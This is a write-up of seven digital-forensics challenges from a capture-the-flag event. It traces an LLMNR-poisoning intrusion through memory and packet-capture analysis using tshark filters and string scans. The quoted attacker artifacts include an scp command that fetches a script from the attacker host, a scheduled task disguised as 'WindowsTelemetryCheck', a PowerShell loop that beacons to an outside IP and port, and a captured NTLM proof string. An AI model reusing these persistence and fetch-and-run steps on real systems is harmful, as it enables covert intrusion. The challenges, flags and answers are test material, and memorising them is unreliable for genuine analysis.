de monne breach
deadface ctf 2026 · 19 oct 2026
these challenges all used the same evidence: an 8gb memory dump and a pcap from nathan's workstation at de monne financial.
challenge 1 of 7
the workstation in the middle
challenge description
The compromised De Monne employee was working at a Windows device. What is that device's hostname? Preserve the capitalization shown in memory.
this one wanted the windows hostname. instead of setting up volatility i scanned the raw dump for COMPUTERNAME=, which is in every process's environment block, in ascii and utf-16.
needle = "COMPUTERNAME=".encode("utf-16-le")
# scan in 64mb chunks with overlap, decode until a real 0x0000 unitmy first parser split on \x00\x00 and cut off the last character, giving DMF-WS11-04. the ascii copies all said DMF-WS11-042, and after fixing the parser the utf-16 ones did too. flag (capitals kept):
deadface{DMF-WS11-042}challenge 2 of 7
the typo that bit
challenge description
Nathan's workstation tried to reach an executive share through a misspelled server name. Identify one mistyped server hostname visible in memory. Submit the hostname, without slashes or the share name.
this asked for the mistyped server name nathan's machine tried to reach for an executive share. searching the same dump for unc paths found:
\\dmf-field-01\executive
rundll32 davclnt.dll,DavSetCookie dmf-field-01 http://dmf-field-01/executivethe real server is dmf-file-01, so field is the typo. the second line is windows retrying over webdav. flag:
deadface{dmf-field-01}challenge 3 of 7
uninvited guest
challenge description
Nathan's workstation asked the local network to resolve a file-server name. Which corporate IPv4 address supplied the suspicious answer?
since dmf-field-01 doesn't exist, windows asks the local network for it over llmnr. the answer comes from a workstation, not a server:
tshark -r demonne.pcap -Y llmnr -T fields \
-e frame.number -e dns.flags.response -e dns.qry.name -e dns.a
# 1463 True dmf-field-01 10.77.10.66flag:
deadface{10.77.10.66}challenge 4 of 7
name to a face
challenge description
A poisoned name answer prompted an SMB authentication attempt. Which username did the workstation send?
list the ntlm authenticate messages (type 3). the first one after frame 1463 is frame 1489, sent to the attacker for cifs/dmf-field-01:
tshark -r demonne.pcap -Y "ntlmssp.messagetype == 3" -T fields \
-e frame.number -e ntlmssp.auth.username
# 1489 nkesslerflag:
deadface{nkessler}challenge 5 of 7
challenge accepted
challenge description
Find Nathan's first SMB NTLMv2 authentication after the poisoned name response. What is its 16-byte NTProofStr?
same frame, 1489. the ntproofstr is in the ntlmv2 response:
tshark -r demonne.pcap -Y "frame.number == 1489" -V | grep NTProofStr
# NTProofStr: 5a2342014fe7f28997ce4dcd09f6b7f8flag:
deadface{5a2342014fe7f28997ce4dcd09f6b7f8}challenge 6 of 7
borrowed script
challenge description
The workstation obtained telemetry.ps1 from another machine before scheduling it. What internal IPv4 address supplied the script? Submit the source username and the IP address.
searching the dump for the task name WindowsTelemetryCheck found the powershell history:
scp d34th@10.77.10.66:/home/d34th/telemetry.ps1 C:\ProgramData\WindowsCache\
Register-ScheduledTask -TaskName 'WindowsTelemetryCheck' ...it's the same ip as the llmnr responder. flag, as username@IP:
deadface{d34th@10.77.10.66}challenge 7 of 7
false telemetry
challenge description
WindowsTelemetryCheck runs a PowerShell script that repeatedly tests a connection. Identify the destination IPv4 address, TCP port, and delay between attempts.
the history doesn't include the script contents, so i searched the dump for Test-NetConnection. it only appears 19 times and one of them is the script:
for ($i = 0; $i -lt 24; $i++) {
Test-NetConnection -ComputerName 167.172.132.224 -Port 4815 -InformationLevel Quiet | Out-Null
Start-Sleep -Seconds 30
}flag, as IP_PORT_SECONDS:
deadface{167.172.132.224_4815_30}yes, i obviously used some ai to help draft these write-ups.